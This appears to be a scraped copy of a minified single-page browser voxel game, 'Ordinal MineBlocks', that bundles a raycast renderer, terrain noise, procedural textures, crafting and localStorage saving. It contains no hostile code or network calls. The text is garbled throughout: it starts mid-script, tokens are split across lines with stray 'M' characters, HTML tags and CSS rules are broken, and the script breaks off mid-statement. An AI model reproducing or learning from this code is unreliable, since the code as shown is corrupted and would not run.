var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
